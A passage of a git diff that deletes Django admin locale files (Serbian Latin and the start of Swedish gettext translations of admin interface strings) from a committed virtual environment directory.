require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "Da bi izbrisali %(class_name)s%(instance)s potrebno je brisati i sledeće zaštićene povezane objekte: %(related_objects)s" - -#: contrib/admin/sites.py:40 contrib/admin/templates/admin/base_site.html:3 -msgid "Django site admin" -msgstr "Django administracija sajta" - -#: contrib/admin/sites.py:43 contrib/admin/templates/admin/base_site.html:6 -msgid "Django administration" -msgstr "Django administracija" - -#: contrib/admin/sites.py:46 -msgid "Site administration" -msgstr "Administracija sistema" - -#: contrib/admin/sites.py:431 contrib/admin/templates/admin/login.html:64 -#: contrib/admin/templates/registration/password_reset_complete.html:15 -#: contrib/admin/tests.py:146 -msgid "Log in" -msgstr "Prijava" - -#: contrib/admin/sites.py:586 -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administracija" - -#: contrib/admin/templates/admin/404.html:4 -#: contrib/admin/templates/admin/404.html:8 -msgid "Page not found" -msgstr "Stranica nije pronađena" - -#: contrib/admin/templates/admin/404.html:10 -msgid "We’re sorry, but the requested page could not be found." -msgstr "Žao nam je, tražena stranica nije pronađena." - -#: contrib/admin/templates/admin/500.html:6 -#: contrib/admin/templates/admin/app_index.html:10 -#: contrib/admin/templates/admin/auth/user/change_password.html:15 -#: contrib/admin/templates/admin/base.html:75 -#: contrib/admin/templates/admin/change_form.html:19 -#: contrib/admin/templates/admin/change_list.html:33 -#: contrib/admin/templates/admin/delete_confirmation.html:14 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:14 -#: contrib/admin/templates/admin/invalid_setup.html:6 -#: contrib/admin/templates/admin/object_history.html:6 -#: contrib/admin/templates/registration/logged_out.html:4 -#: contrib/admin/templates/registration/password_change_done.html:13 -#: contrib/admin/templates/registration/password_change_form.html:16 -#: contrib/admin/templates/registration/password_reset_complete.html:6 -#: contrib/admin/templates/registration/password_reset_confirm.html:8 -#: contrib/admin/templates/registration/password_reset_done.html:6 -#: contrib/admin/templates/registration/password_reset_form.html:8 -msgid "Home" -msgstr "Početna" - -#: contrib/admin/templates/admin/500.html:7 -msgid "Server error" -msgstr "Greška na serveru" - -#: contrib/admin/templates/admin/500.html:11 -msgid "Server error (500)" -msgstr "Greška na serveru (500)" - -#: contrib/admin/templates/admin/500.html:14 -msgid "Server Error (500)" -msgstr "Greška na serveru (500)" - -#: contrib/admin/templates/admin/500.html:15 -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "Desila se greška. Prijavljena je administratorima sajta preko e-pošte i trebalo bi da uskoro bude ispravljena. Hvala Vam na strpljenju." - -#: contrib/admin/templates/admin/actions.html:8 -msgid "Run the selected action" -msgstr "Pokreni odabranu radnju" - -#: contrib/admin/templates/admin/actions.html:8 -msgid "Go" -msgstr "Počni" - -#: contrib/admin/templates/admin/actions.html:16 -msgid "Click here to select the objects across all pages" -msgstr "Izaberi sve objekte na ovoj stranici." - -#: contrib/admin/templates/admin/actions.html:16 -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Izaberi sve %(module_name)s od %(total_count)s ukupno." - -#: contrib/admin/templates/admin/actions.html:18 -msgid "Clear selection" -msgstr "Poništi izbor" - -#: contrib/admin/templates/admin/app_index.html:8 -#: contrib/admin/templates/admin/base.html:72 -msgid "Breadcrumbs" -msgstr "Mrvice" - -#: contrib/admin/templates/admin/app_list.html:8 -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeli u aplikaciji %(name)s" - -#: contrib/admin/templates/admin/app_list.html:12 -msgid "Model name" -msgstr "Ime modela" - -#: contrib/admin/templates/admin/app_list.html:13 -msgid "Add link" -msgstr "Dodaj vezu" - -#: contrib/admin/templates/admin/app_list.html:14 -msgid "Change or view list link" -msgstr "Pogledaj ili promeni vezu liste" - -#: contrib/admin/templates/admin/app_list.html:29 -msgid "Add" -msgstr "Dodaj" - -#: contrib/admin/templates/admin/app_list.html:36 -#: contrib/admin/templates/admin/edit_inline/stacked.html:20 -#: contrib/admin/templates/admin/edit_inline/tabular.html:40 -msgid "View" -msgstr "Pregled" - -#: contrib/admin/templates/admin/app_list.html:50 -msgid "You don’t have permission to view or edit anything." -msgstr "Nemate dozvole da pogledate ili izmenite bilo šta." - -#: contrib/admin/templates/admin/auth/user/add_form.html:6 -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "Nakon što napravite korisnika, moći ćete da izmenite više korisničkih opcija." - -#: contrib/admin/templates/admin/auth/user/change_password.html:5 -#: contrib/admin/templates/admin/change_form.html:4 -#: contrib/admin/templates/admin/change_list.html:4 -#: contrib/admin/templates/admin/login.html:4 -#: contrib/admin/templates/registration/password_change_form.html:4 -#: contrib/admin/templates/registration/password_reset_confirm.html:4 -#: contrib/admin/templates/registration/password_reset_form.html:4 -msgid "Error:" -msgstr "Greška:" - -#: contrib/admin/templates/admin/auth/user/change_password.html:19 -#: contrib/admin/templates/admin/auth/user/change_password.html:71 -#: contrib/admin/templates/admin/base.html:56 -#: contrib/admin/templates/registration/password_change_done.html:4 -#: contrib/admin/templates/registration/password_change_form.html:7 -msgid "Change password" -msgstr "Promena lozinke" - -#: contrib/admin/templates/admin/auth/user/change_password.html:19 -msgid "Set password" -msgstr "Postavi lozinku" - -#: contrib/admin/templates/admin/auth/user/change_password.html:30 -#: contrib/admin/templates/admin/change_form.html:45 -#: contrib/admin/templates/admin/change_list.html:54 -#: contrib/admin/templates/admin/login.html:24 -#: contrib/admin/templates/registration/password_change_form.html:27 -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Molimo ispravite grešku ispod." -msgstr[1] "Molimo ispravite greške ispod." -msgstr[2] "Molimo ispravite greške ispod." - -#: contrib/admin/templates/admin/auth/user/change_password.html:34 -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Unesite novu lozinku za korisnika %(username)s." - -#: contrib/admin/templates/admin/auth/user/change_password.html:36 -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr " Ova akcija ćeomogućiti autentifikaciju zasnovanu na lozinki za ovog korisnika." - -#: contrib/admin/templates/admin/auth/user/change_password.html:72 -msgid "Disable password-based authentication" -msgstr "Onemogući autentifikaciju zasnovanu na lozinki" - -#: contrib/admin/templates/admin/auth/user/change_password.html:74 -msgid "Enable password-based authentication" -msgstr "Omogući autentifikaciju zasnovanu na lozinki" - -#: contrib/admin/templates/admin/base.html:27 -msgid "Skip to main content" -msgstr "Pređi na glavni sadržaj" - -#: contrib/admin/templates/admin/base.html:42 -msgid "Welcome," -msgstr "Dobrodošli," - -#: contrib/admin/templates/admin/base.html:47 -msgid "View site" -msgstr "Pogledaj sajt" - -#: contrib/admin/templates/admin/base.html:52 -#: contrib/admin/templates/registration/password_change_done.html:4 -#: contrib/admin/templates/registration/password_change_form.html:7 -msgid "Documentation" -msgstr "Dokumentacija" - -#: contrib/admin/templates/admin/base.html:60 -#: contrib/admin/templates/registration/password_change_done.html:7 -#: contrib/admin/templates/registration/password_change_form.html:10 -msgid "Log out" -msgstr "Odjava" - -#: contrib/admin/templates/admin/change_form.html:22 -#: contrib/admin/templates/admin/change_list_object_tools.html:8 -#, python-format -msgid "Add %(name)s" -msgstr "Dodaj objekat klase %(name)s" - -#: contrib/admin/templates/admin/change_form_object_tools.html:5 -#: contrib/admin/templates/admin/object_history.html:10 -msgid "History" -msgstr "Istorijat" - -#: contrib/admin/templates/admin/change_form_object_tools.html:7 -#: contrib/admin/templates/admin/edit_inline/stacked.html:22 -#: contrib/admin/templates/admin/edit_inline/tabular.html:42 -msgid "View on site" -msgstr "Pregled na sajtu" - -#: contrib/admin/templates/admin/change_list.html:79 -msgid "Filter" -msgstr "Filter" - -#: contrib/admin/templates/admin/change_list.html:82 -msgid "Hide counts" -msgstr "Sakrij brojanje" - -#: contrib/admin/templates/admin/change_list.html:83 -msgid "Show counts" -msgstr "Prikaži brojanje" - -#: contrib/admin/templates/admin/change_list.html:86 -msgid "Clear all filters" -msgstr "Obriši sve filtere" - -#: contrib/admin/templates/admin/change_list_results.html:16 -msgid "Remove from sorting" -msgstr "Izbaci iz sortiranja" - -#: contrib/admin/templates/admin/change_list_results.html:17 -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritet sortiranja: %(priority_number)s" - -#: contrib/admin/templates/admin/change_list_results.html:18 -msgid "Toggle sorting" -msgstr "Uključi/isključi sortiranje" - -#: contrib/admin/templates/admin/color_theme_toggle.html:3 -msgid "Toggle theme (current theme: auto)" -msgstr "Uključi/isključi temu (trenutna tema: auto)" - -#: contrib/admin/templates/admin/color_theme_toggle.html:4 -msgid "Toggle theme (current theme: light)" -msgstr "Uključi/isključi temu (trenutna tema: svetla)" - -#: contrib/admin/templates/admin/color_theme_toggle.html:5 -msgid "Toggle theme (current theme: dark)" -msgstr "Uključi/isključi temu (trenutna tema: tamna)" - -#: contrib/admin/templates/admin/delete_confirmation.html:25 -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "Uklanjanje %(object_name)s „%(escaped_object)s“ povlači uklanjanje svih objekata koji su povezani sa ovim objektom, ali vaš nalog nema dozvole za brisanje sledećih tipova objekata:" - -#: contrib/admin/templates/admin/delete_confirmation.html:30 -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the" -" following protected related objects:" -msgstr "Da bi izbrisali izabran %(object_name)s „%(escaped_object)s“ potrebno je brisati i sledeće zaštićene povezane objekte:" - -#: contrib/admin/templates/admin/delete_confirmation.html:35 -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "Da sigurni da želite da obrišete %(object_name)s „%(escaped_object)s“? Sledeći objekti koji su u vezi sa ovim objektom će takođe biti obrisani:" - -#: contrib/admin/templates/admin/delete_confirmation.html:37 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:31 -msgid "Objects" -msgstr "Objekti" - -#: contrib/admin/templates/admin/delete_confirmation.html:44 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:42 -msgid "Yes, I’m sure" -msgstr "Da, siguran sam" - -#: contrib/admin/templates/admin/delete_confirmation.html:45 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:43 -msgid "No, take me back" -msgstr "Ne, hoću nazad" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:23 -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "Da bi izbrisali izabrane %(objects_name)s potrebno je brisati i zaštićene povezane objekte, međutim vaš nalog nema dozvole za brisanje sledećih tipova objekata:" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:26 -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "Da bi izbrisali izabrane %(objects_name)s potrebno je brisati i sledeće zaštićene povezane objekte:" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:29 -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "Da li ste sigurni da želite da izbrišete izabrane %(objects_name)s? Svi sledeći objekti i objekti sa njima povezani će biti izbrisani:" - -#: contrib/admin/templates/admin/edit_inline/tabular.html:26 -msgid "Delete?" -msgstr "Brisanje?" - -#: contrib/admin/templates/admin/filter.html:4 -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -#: contrib/admin/templates/admin/includes/object_delete_summary.html:2 -msgid "Summary" -msgstr "Sumarno" - -#: contrib/admin/templates/admin/index.html:23 -msgid "Recent actions" -msgstr "Skorašnje akcije" - -#: contrib/admin/templates/admin/index.html:24 -msgid "My actions" -msgstr "Moje akcije" - -#: contrib/admin/templates/admin/index.html:28 -msgid "None available" -msgstr "Nema podataka" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Added:" -msgstr "Dodato:" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Changed:" -msgstr "Izmenjeno:" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Deleted:" -msgstr "Obrisano:" - -#: contrib/admin/templates/admin/index.html:43 -msgid "Unknown content" -msgstr "Nepoznat sadržaj" - -#: contrib/admin/templates/admin/invalid_setup.html:12 -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate" -" database tables have been created, and make sure the database is readable " -"by the appropriate user." -msgstr "Nešto nije uredu sa vašom bazom podataka. Proverite da li postoje odgovarajuće tabele i da li odgovarajući korisnik ima pristup bazi." - -#: contrib/admin/templates/admin/login.html:40 -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this" -" page. Would you like to login to a different account?" -msgstr "Prijavljeni ste kao %(username)s, ali nemate ovlašćenja da pristupite ovoj strani. Da li želite da se prijavite pod nekim drugim nalogom?" - -#: contrib/admin/templates/admin/login.html:60 -msgid "Forgotten your login credentials?" -msgstr "Zaboravili ste svoje akreditive za prijavu?" - -#: contrib/admin/templates/admin/nav_sidebar.html:2 -msgid "Toggle navigation" -msgstr "Uključi/isključi meni" - -#: contrib/admin/templates/admin/nav_sidebar.html:3 -msgid "Sidebar" -msgstr "Bočna traka" - -#: contrib/admin/templates/admin/nav_sidebar.html:5 -msgid "Start typing to filter…" -msgstr "Počnite da kucate da biste filtrirali…" - -#: contrib/admin/templates/admin/nav_sidebar.html:6 -msgid "Filter navigation items" -msgstr "Filtrirajte stavke navigacije" - -#: contrib/admin/templates/admin/object_history.html:22 -msgid "Date/time" -msgstr "Datum/vreme" - -#: contrib/admin/templates/admin/object_history.html:23 -msgid "User" -msgstr "Korisnik" - -#: contrib/admin/templates/admin/object_history.html:24 -msgid "Action" -msgstr "Radnja" - -#: contrib/admin/templates/admin/object_history.html:49 -msgid "entry" -msgid_plural "entries" -msgstr[0] "unos" -msgstr[1] "unosa" -msgstr[2] "unosa" - -#: contrib/admin/templates/admin/object_history.html:52 -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this" -" admin site." -msgstr "Ovaj objekat nema zabeležen istorijat izmena. Verovatno nije dodat kroz ovaj sajt za administraciju." - -#: contrib/admin/templates/admin/pagination.html:10 -#: contrib/admin/templates/admin/search_form.html:9 -msgid "Show all" -msgstr "Prikaži sve" - -#: contrib/admin/templates/admin/pagination.html:11 -#: contrib/admin/templates/admin/submit_line.html:4 -msgid "Save" -msgstr "Sačuvaj" - -#: contrib/admin/templates/admin/popup_response.html:3 -msgid "Popup closing…" -msgstr "Popup se zatvara..." - -#: contrib/admin/templates/admin/search_form.html:7 -msgid "Search" -msgstr "Pretraga" - -#: contrib/admin/templates/admin/search_form.html:9 -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s rezultat" -msgstr[1] "%(counter)s rezultata" -msgstr[2] "%(counter)s rezultata" - -#: contrib/admin/templates/admin/search_form.html:9 -#, python-format -msgid "%(full_result_count)s total" -msgstr "ukupno %(full_result_count)s" - -#: contrib/admin/templates/admin/submit_line.html:5 -msgid "Save as new" -msgstr "Sačuvaj kao novi" - -#: contrib/admin/templates/admin/submit_line.html:6 -msgid "Save and add another" -msgstr "Sačuvaj i dodaj sledeći" - -#: contrib/admin/templates/admin/submit_line.html:7 -msgid "Save and continue editing" -msgstr "Sačuvaj i nastavi sa izmenama" - -#: contrib/admin/templates/admin/submit_line.html:7 -msgid "Save and view" -msgstr "Snimi i pogledaj" - -#: contrib/admin/templates/admin/submit_line.html:10 -msgid "Close" -msgstr "Zatvori" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:11 -#, python-format -msgid "Change selected %(model)s" -msgstr "Izmeni odabrani model %(model)s" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:19 -#, python-format -msgid "Add another %(model)s" -msgstr "Dodaj još jedan model %(model)s" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:27 -#, python-format -msgid "Delete selected %(model)s" -msgstr "Obriši odabrani model %(model)s" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:34 -#, python-format -msgid "View selected %(model)s" -msgstr "Izabran prikaz %(model)s" - -#: contrib/admin/templates/registration/logged_out.html:10 -msgid "Thanks for spending some quality time with the web site today." -msgstr "Hvala što ste danas proveli vreme na ovom sajtu." - -#: contrib/admin/templates/registration/logged_out.html:12 -msgid "Log in again" -msgstr "Ponovna prijava" - -#: contrib/admin/templates/registration/password_change_done.html:14 -#: contrib/admin/templates/registration/password_change_form.html:17 -msgid "Password change" -msgstr "Izmena lozinke" - -#: contrib/admin/templates/registration/password_change_done.html:19 -msgid "Your password was changed." -msgstr "Vaša lozinka je izmenjena." - -#: contrib/admin/templates/registration/password_change_form.html:32 -msgid "" -"Please enter your old password, for security’s sake, and then enter your new" -" password twice so we can verify you typed it in correctly." -msgstr "Iz bezbednosnih razloga prvo unesite svoju staru lozinku, a novu zatim unesite dva puta da bismo mogli da proverimo da li ste je pravilno uneli." - -#: contrib/admin/templates/registration/password_change_form.html:60 -#: contrib/admin/templates/registration/password_reset_confirm.html:38 -msgid "Change my password" -msgstr "Izmeni moju lozinku" - -#: contrib/admin/templates/registration/password_reset_complete.html:7 -#: contrib/admin/templates/registration/password_reset_done.html:7 -#: contrib/admin/templates/registration/password_reset_form.html:9 -msgid "Password reset" -msgstr "Resetovanje lozinke" - -#: contrib/admin/templates/registration/password_reset_complete.html:13 -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaša lozinka je postavljena. Možete se prijaviti." - -#: contrib/admin/templates/registration/password_reset_confirm.html:9 -msgid "Password reset confirmation" -msgstr "Potvrda resetovanja lozinke" - -#: contrib/admin/templates/registration/password_reset_confirm.html:17 -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Unesite novu lozinku dva puta kako bismo mogli da proverimo da li ste je pravilno uneli." - -#: contrib/admin/templates/registration/password_reset_confirm.html:25 -msgid "New password:" -msgstr "Nova lozinka:" - -#: contrib/admin/templates/registration/password_reset_confirm.html:32 -msgid "Confirm password:" -msgstr "Potvrda lozinke:" - -#: contrib/admin/templates/registration/password_reset_confirm.html:44 -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "Link za resetovanje lozinke nije važeći, verovatno zato što je već iskorišćen. Ponovo zatražite resetovanje lozinke." - -#: contrib/admin/templates/registration/password_reset_done.html:13 -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "Poslali smo Vam uputstva za postavljanje lozinke, ukoliko nalog sa ovom adresom postoji. Trebalo bi da ih dobijete uskoro." - -#: contrib/admin/templates/registration/password_reset_done.html:15 -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "Ako ne dobijete poruku, proverite da li ste uneli dobru adresu sa kojom ste se i registrovali i proverite fasciklu za neželjenu poštu." - -#: contrib/admin/templates/registration/password_reset_email.html:2 -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "Primate ovu poruku zato što ste zatražili resetovanje lozinke za korisnički nalog na sajtu %(site_name)s." - -#: contrib/admin/templates/registration/password_reset_email.html:4 -msgid "Please go to the following page and choose a new password:" -msgstr "Idite na sledeću stranicu i postavite novu lozinku." - -#: contrib/admin/templates/registration/password_reset_email.html:8 -msgid "In case you’ve forgotten, you are:" -msgstr "U slučaju da ste zaboravili, vi ste:" - -#: contrib/admin/templates/registration/password_reset_email.html:10 -msgid "Thanks for using our site!" -msgstr "Hvala što koristite naš sajt!" - -#: contrib/admin/templates/registration/password_reset_email.html:12 -#, python-format -msgid "The %(site_name)s team" -msgstr "Ekipa sajta %(site_name)s" - -#: contrib/admin/templates/registration/password_reset_form.html:15 -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "Zaboravili ste lozinku? Unesite adresu e-pošte ispod i poslaćemo Vam na nju uputstva za postavljanje nove lozinke." - -#: contrib/admin/templates/registration/password_reset_form.html:22 -msgid "Email address:" -msgstr "Adresa e-pošte:" - -#: contrib/admin/templates/registration/password_reset_form.html:28 -msgid "Reset my password" -msgstr "Resetuj moju lozinku" - -#: contrib/admin/templatetags/admin_list.py:101 -msgid "Select all objects on this page for an action" -msgstr "Izaberite sve objekte na ovoj stranici za radnju" - -#: contrib/admin/templatetags/admin_list.py:445 -msgid "All dates" -msgstr "Svi datumi" - -#: contrib/admin/views/main.py:148 -#, python-format -msgid "Select %s" -msgstr "Odaberi objekat klase %s" - -#: contrib/admin/views/main.py:150 -#, python-format -msgid "Select %s to change" -msgstr "Odaberi objekat klase %s za izmenu" - -#: contrib/admin/views/main.py:152 -#, python-format -msgid "Select %s to view" -msgstr "Odaberi %s za pregled" - -#: contrib/admin/widgets.py:99 -msgid "Date:" -msgstr "Datum:" - -#: contrib/admin/widgets.py:100 -msgid "Time:" -msgstr "Vreme:" - -#: contrib/admin/widgets.py:164 -msgid "Lookup" -msgstr "Pretraži" - -#: contrib/admin/widgets.py:393 -msgid "Currently:" -msgstr "Trenutno:" - -#: contrib/admin/widgets.py:394 -msgid "Change:" -msgstr "Izmena:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.mo deleted file mode 100644 index a2b1196c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.po deleted file mode 100644 index 26efe138..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,319 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Igor Jerosimić, 2019,2021,2023-2025 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Igor Jerosimić, 2019,2021,2023-2025\n" -"Language-Team: Serbian (Latin) (http://app.transifex.com/django/django/" -"language/sr@latin/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr@latin\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostupni %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Izaberite %s tako što ćete ih označiti, a zatim kliknite dugme sa strelicom " -"\"Izaberi\"." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Filtrirajte listu dostupnih elemenata „%s“." - -msgid "Filter" -msgstr "Filter" - -#, javascript-format -msgid "Choose all %s" -msgstr "Izaberi sve %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Izaberi označene %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Ukloni izabrane %s" - -#, javascript-format -msgid "Chosen %s" -msgstr "Izabrano „%s“" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Uklonite %s tako što ćete ih označiti, a zatim kliknite dugme sa strelicom " -"\"Ukloni\"." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Unesite u ovo polje da biste filtrirali listu izabranih %s." - -msgid "(click to clear)" -msgstr "(klikni da obrišeš)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Ukloni sve %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s izabrana opcija nije vidljiva" -msgstr[1] "%s izabrane opcije nisu vidljive" -msgstr[2] "%s izabranih opcija nije vidljivo" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s od %(cnt)s izabran" -msgstr[1] "%(sel)s od %(cnt)s izabrana" -msgstr[2] "%(sel)s od %(cnt)s izabranih" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Imate nesačivane izmene. Ako pokrenete akciju, izmene će biti izgubljene." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Izabrali ste akciju, ali niste sačuvali vaše promene u pojedinačna polja. " -"Kliknite na OK da sačuvate promene. Biće neophodno da ponovo pokrenete " -"akciju." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Izabrali ste akciju i niste napravili nijednu promenu na pojedinačnim " -"poljima. Verovatno tražite Kreni dugme umesto Sačuvaj." - -msgid "Now" -msgstr "Trenutno vreme" - -msgid "Midnight" -msgstr "Ponoć" - -msgid "6 a.m." -msgstr "18č" - -msgid "Noon" -msgstr "Podne" - -msgid "6 p.m." -msgstr "18č" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Obaveštenje: Vi ste %s sat ispred serverskog vremena." -msgstr[1] "Obaveštenje: Vi ste %s sata ispred serverskog vremena." -msgstr[2] "Obaveštenje: Vi ste %s sati ispred serverskog vremena." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Obaveštenje: Vi ste %s sat iza serverskog vremena." -msgstr[1] "Obaveštenje: Vi ste %s sata iza serverskog vremena." -msgstr[2] "Obaveštenje: Vi ste %s sati iza serverskog vremena." - -msgid "Choose a Time" -msgstr "Odaberite vreme" - -msgid "Choose a time" -msgstr "Odabir vremena" - -msgid "Cancel" -msgstr "Poništi" - -msgid "Today" -msgstr "Danas" - -msgid "Choose a Date" -msgstr "Odaberite datum" - -msgid "Yesterday" -msgstr "Juče" - -msgid "Tomorrow" -msgstr "Sutra" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Jun" - -msgid "July" -msgstr "Jul" - -msgid "August" -msgstr "Avgust" - -msgid "September" -msgstr "Septembar" - -msgid "October" -msgstr "Oktobar" - -msgid "November" -msgstr "Novembar" - -msgid "December" -msgstr "Decembar" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mart" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "avg" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec" - -msgid "Sunday" -msgstr "nedelja" - -msgid "Monday" -msgstr "ponedeljak" - -msgid "Tuesday" -msgstr "utorak" - -msgid "Wednesday" -msgstr "sreda" - -msgid "Thursday" -msgstr "četvrtak" - -msgid "Friday" -msgstr "petak" - -msgid "Saturday" -msgstr "subota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "ned" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "pon" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "uto" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "sre" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "čet" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "pet" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "sub" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "N" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "U" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "S" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Č" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.mo deleted file mode 100644 index 62b7724c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.po deleted file mode 100644 index d29e0b8b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/django.po +++ /dev/null @@ -1,798 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Albin Larsson , 